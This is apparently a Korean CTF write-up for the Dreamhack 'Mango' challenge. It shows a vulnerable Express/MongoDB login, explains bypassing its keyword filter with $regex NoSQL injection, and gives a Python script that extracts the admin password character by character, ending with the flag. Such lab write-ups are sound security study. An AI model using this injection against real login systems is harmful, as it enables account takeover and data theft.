개발세발보안중
[드림핵]Mango Write up 본문
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');

정규표현식을 사용하여 공격을 시도해야 한다.
MongoDB 문법을 활용하여 uid 자리수가 5 이상, upw의 자리수가 1 이상인 계정을 출력하라는 쿼리문을 작성하면,
uid[$regex]=.{5}&upw[$regex]=.{1} 을 url에 입력한다 .. 그래도 guest가 뜬다
admin&upw[$regex]=D.*로 줄였는데, .를 활용하여 우회를 할 수 있따.
ad.&upw[$regex]=D.*
그리고 익스플로잇 코드를 작성한다.
import requests, string
HOST = 'http://host3.dreamhack.games:14925/'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
FLAG: DH{89e50fa6fafe2604e33c0ba05843d3df}

'CTF' 카테고리의 다른 글
| [드림핵]blind-command Write up (0) | 2023.05.10 |
|---|---|
| [드림핵]baby-linux Write Up (0) | 2023.05.10 |
| [드림핵]xss-1 (0) | 2023.05.10 |
| [드림핵]pathtraversal Write Up (0) | 2023.05.10 |
| [드림핵]broken-png Write Up (0) | 2023.05.10 |
Comments